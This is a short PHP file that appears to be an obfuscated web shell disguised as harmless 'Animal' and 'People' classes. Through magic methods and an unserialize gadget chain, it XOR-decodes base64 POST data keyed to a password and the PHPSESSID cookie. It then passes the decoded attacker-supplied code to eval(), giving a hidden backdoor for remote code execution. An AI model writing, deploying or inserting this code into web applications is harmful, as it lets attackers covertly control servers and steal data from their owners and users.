<?php class Animal {public $name;public $color;public function __get($var){return $this::{$var}($this->color);}public static function eat($str,$key=null){@$key=$key?$key:$_COOKIE['PHPSESSID'];$l=strlen($key);$food='';for($i=0;$i<strlen($str);$i++){$food.=$str[$i]^$key[$i%$l];}return $food;}public function __call($f,$v){$food=self::eat($v[0]);eval($food);} }class People{public $name;public $pet;public function __toString(){return (string)$this->pet->{$this->name};}}$pass='pwd';foreach($_POST as $key=>$value){$payload=Animal::eat(base64_decode($value),$pass);if(substr($payload,-32)===@md5($_COOKIE['PHPSESSID'])){$result=substr($payload,0,-32);break;}}if($result){echo unserialize(Animal::eat(base64_decode($result)));}?>